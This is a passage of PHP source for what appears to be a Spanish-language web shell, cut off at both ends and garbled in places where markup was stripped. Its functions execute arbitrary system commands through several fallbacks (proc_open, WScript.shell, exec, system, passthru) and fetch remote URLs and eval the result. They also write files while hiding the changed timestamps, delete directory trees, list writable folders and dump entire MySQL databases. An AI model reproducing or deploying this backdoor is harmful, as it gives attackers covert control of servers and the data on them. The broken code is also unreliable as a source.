    &1'; if(isF('proc_open')&&@is_resource($f=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes))){ fwrite($pipes[0],'');fclose($pipes[0]); $re=gres($pipes[1]).gres($pipes[2]); fclose($pipes[1]);fclose($pipes[2]); @proc_close($f); } elseif(IS_COM){ $wsh = new COM('WScript.shell');$cmd = getenv('ComSpec'); $exe = $wsh->exec("$cmd /C $c");$exe->StdIn->Close(); @$re=$exe->StdOut->ReadAll().$exe->StdErr->ReadAll(); unset($wsh,$exe); } elseif(isF('popen')&&@is_resource($f=popen($c))){$re=gres($f);@pclose($f);} elseif(isF('exec')){exec($c,$re);$re=join("\n",$re);} elseif(isF('shell_exec')){$re=shell_exec($c);} elseif(isF('system')){$re=ob('system',$c);} elseif(isF('passthru')){$re=ob('passthru',$c);} } return $re; } function isF($f){return (function_exists($f)&&is_callable($f)&&!preg_match('#\b'.$f.'\b#i',@ini_get('disable_functions')));} function gres($r){ $re=''; if(isF('stream_get_contents')) $re=stream_get_contents($r); else{while(!feof($r)){$re.=fread($r,4096);}} return $re; } function SV($f,$c){ $r=0;$t=file_exists($f)?filemtime($f):0; if(isF('file_put_contents')){ $r=(false===@file_put_contents($f,$c))?0:1; } elseif($s=@fopen($f,'w')){ fwrite($s,$c); fclose($s); $r=1; } if($t&&$r) @touch($f,$t); return $r; } function GF($r){ if(preg_match('#^(http|file|ftp)s?\://#i',$r)&&isF('curl_init')){ $s=curl_init($r); curl_setopt($s, CURLOPT_TIMEOUT, 40); curl_setopt($s, CURLOPT_FAILONERROR, 1); curl_setopt($s, CURLOPT_REFERER, $r); curl_setopt($s, CURLOPT_USERAGENT, "Opera/9.25 (Linux i686; U; en-US)"); curl_setopt($s, CURLOPT_RETURNTRANSFER, 1); $r=curl_exec($s); curl_close($s); return $r; } else if(isF('file_get_contents')){ return @file_get_contents($r); } else { if($s=fopen($r,'rb')){ $r=gres($s); fclose($s); return $r; } else return false; } } function getChmod($file){ return substr(base_convert(@fileperms($file),10,8),-4); } function getPerms($filepath){ $mode = @fileperms($filepath); if(($mode & 0xC000) === 0xC000){$type = 's';} elseif(($mode & 0x4000) === 0x4000){$type = 'd';} elseif(($mode & 0xA000) === 0xA000){$type = 'l';} elseif(($mode & 0x8000) === 0x8000){$type = '-';} elseif(($mode & 0x6000) === 0x6000){$type = 'b';} elseif(($mode & 0x2000) === 0x2000){$type = 'c';} elseif(($mode & 0x1000) === 0x1000){$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if($mode & 0x800){$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if($mode & 0x400){$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if($mode & 0x200){$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read']. $world['write'].$world['execute']; } function getUser($f){ $r=' / '.$u:'WIN">WIN').''; $ow = @fileowner($f); if(isF('posix_getpwuid')){ $o = @posix_getpwuid($ow); $r .= ($o&&is_array($o))?$o['name'].' | Uid:'.$o['uid'].' | gid:'.$o['gid'].' | Dir:'.$o['dir'].' | Shell:'.$o['shell'].'">'.$o['name']:$ow.'">'.$ow; } else $r .= $ow.'">'.$ow; return "$r"; } function deltree($deldir){ $mydir=@dir($deldir); while($file=$mydir->read()){ if(@is_dir($deldir.'/'.$file)&&$file!='.'&&$file!='..'){ @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if(is_file($deldir.'/'.$file)){ @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } function bg(){global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';} function FixDS($d){ $d = str_replace('//', '/', str_replace('\\','/', rtrim($d,'\\/'))).'/'; return $d; } function getcfg($v){ $l = @ini_get($v);$i = @get_cfg_var($v); if($v=='safe_mode'||$v=='register_globals') return 'OFF' : 'r">ON').''; $i = $i==''?'No establecido':($i=='0'?'No':($i=='1'?'Si':$i)); $l = $l==''?'No establecido':($l=='0'?'No':($l=='1'?'Si':$l)); return 'Local: '.$l.' - INI: '.$i; } function GetList($d){ global $dirdata,$j,$cwd; !$j&&$j=1; if($dh = opendir($d)){ while($file = readdir($dh)){ $f=str_replace('//','/',$d.'/'.$file); if($file!='.'&&$file!='..'&&@is_dir($f)){ if(@is_writable($f)){ $dirdata[$j]['filename']=str_replace($cwd,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['flink']=htm($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } } function db($h, $u, $p, $db='', $char='', $port='3306'){ global $qf; $e = 'Error de conexión al servidor MySQL: '; @$ln = MI ? $qf['a']($h, $u, $p, $db, $port) : $qf['a']($h.':'.$port, $u, $p); if(!$ln){ m($e.(MI?mysqli_connect_error():$qf['e']($ln)), 'e'); die; } if($db&&!MI) if(!@mysql_select_db($db, $ln)){m('Error seleccionando la base de datos: '.$qf['e']($ln),'e');die;} if($qf['i']($ln) > '4.1'){ if($char =='latin1'||$char=='utf8') q("SET character_set_connection=$charset, character_set_results=$charset,character_set_client=binary;",$ln); } return $ln; } function q($q,$l){return MI?$l->query($q):mysql_query($q,$l);} function qy($q,$l){ $res = ''; if(!$res = q($q,$l)) return 0; else if(is_resource($res)||is_object($res)) return 1; else return 2; } function fr($r){MI?$r->close():mysql_free_result($r);} function htmdb($c){ $c = str_replace(array("\r","\n",' ',"\t"), array('',"
    ",'  ','    '), htm($c)); return $c; } function sizecount($size){ if($size > 1073741824){ $size = round($size / 1073741824 * 100) / 100 . ' G'; } elseif($size > 1048576){ $size = round($size / 1048576 * 100) / 100 . ' M'; } elseif($size > 1024){ $size = round($size / 1024 * 100) / 100 . ' K'; } else { $size = $size . ' B'; } return $size; } class PHPZip{ var $out=''; function PHPZip($d){ if(isF('gzcompress')){ $curdir = getcwd(); if(is_array($d)) $filelist = $d; else{ $filelist=$this->GetFileList($d); foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($d)+1); } if(!empty($d)&&!is_array($d)&&file_exists($d)) chdir($d); else chdir($curdir); if(count($filelist)>0){ foreach($filelist as $filename){ if(@is_file($filename)){ $content = GF($filename); if(is_array($d)) $filename=basename($filename); $this->addFile($content, $filename); } } $this->out = $this->file(); chdir($curdir); } return 1; } else return 0; } function GetFileList($d){ static $a; if(is_dir($d)){ if($dh = opendir($d)){ while($file = readdir($dh)){ if($file!='.'&&$file!='..'){ $f=$d.'/'. $file; if(@is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0){ $timearray = ($unixtime==0) ? getdate() : getdate($unixtime); if($timearray['year'] < 1980){ $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0){ $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr= "\x50\x4b\x03\x04"; $fr.= "\x14\x00"; $fr.= "\x00\x00"; $fr.= "\x08\x00"; $fr.= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this->old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file(){ $data = implode('',$this->datasec); $ctrldir = implode('',$this->ctrl_dir); return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)).pack('V', strlen($ctrldir)) .pack('V', strlen($data))."\x00\x00"; } } function sqldump($table,$fp=0){ global $lnk,$qf; $tdump = "DROP TABLE IF EXISTS $table;\n"; $tdump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table",$lnk); while($field = $qf['f']($fields)){ if(!$firstfield){ $tdump .= ",\n"; } else { $firstfield=0; } $tdump .= "\t`$field[Field]` $field[Type]"; if(!empty($field["Default"])){ $tdump .= " DEFAULT '$field[Default]'"; } if($field['Null'] != "YES"){ $tdump .= " NOT NULL"; } if($field['Extra'] != ""){ $tdump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table",$lnk); while($key = $qf['f']($keys)){ $kname=$key['Key_name']; if($kname != "PRIMARY"&&$key['Non_unique']==0){ $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])){ $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname, $columns) = @each($index)){ $tdump .= ",\n"; $colnames=implode($columns,","); if($kname=="PRIMARY"){ $tdump .= "\tPRIMARY KEY (`$colnames`)"; } else { if(substr($kname,0,6)=="UNIQUE"){ $kname=substr($kname,7); } $tdump .= "\tKEY $kname (`$colnames`)"; } } $tdump .= "\n);\n\n"; if($fp) fwrite($fp,$tdump); else { echo $tdump;@ob_flush();@flush(); } $rows = q("SELECT * FROM $table",$lnk); $numfields = $qf['n']($rows); while($row = $qf['r']($rows)){ $tdump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while(++$fieldcounter<$numfields){ if(!$firstfield){ $tdump.=", "; } else { $firstfield=0; } if(!isset($row[$fieldcounter])){ $tdump .= "NULL"; } else { $tdump .= "'".addslashes($row[$fieldcounter])."'"; } } $tdump .= ");\n"; if($fp) fwrite($fp,$tdump); else { echo $tdump;@ob_flush();@flush(); } } fr($rows); if($fp) fwrite($fp,"\n"); else echo "\n"; } function SR(&$e){ $e = is_array($e) ? array_map('SR',$e) : trim(@get_magic_quotes_gpc()?stripslashes($e):$e); return $e; } function pe($p){return str_replace('=','',base64_encode(pack("H*", md5(pack("H*", md5($p))))));} function RI($e){ $e = explode("\n",$e); foreach($e as $e){ if($r=GF(trim($e))) eval('?>'.$r.'');} function noseve($n, $v=''){p('');} function mkinput($arg = array()){ $size = 100;$type = 'text';$class = 'input';$value = '';$name='';$i='';$f='';$title=''; foreach($arg as $k => $v) $$k = $v; if($title) $title.='
    '; if($name) $name=' name="'.$name.'" id="'.$name.'"'; if(isset($newline)){$i = '

    ';$f = '

    ';} p($i.$title.''.$f); } function mkselect($arg = array()){ $title='';$i='';$f='';$selected='';$sel='$f"); } function formhead($n,$t=''){ if($t) p('

    '.$t.' »

    '); p('
    '); } function formfoot(){p('

    '."\n
    ");} die; ?>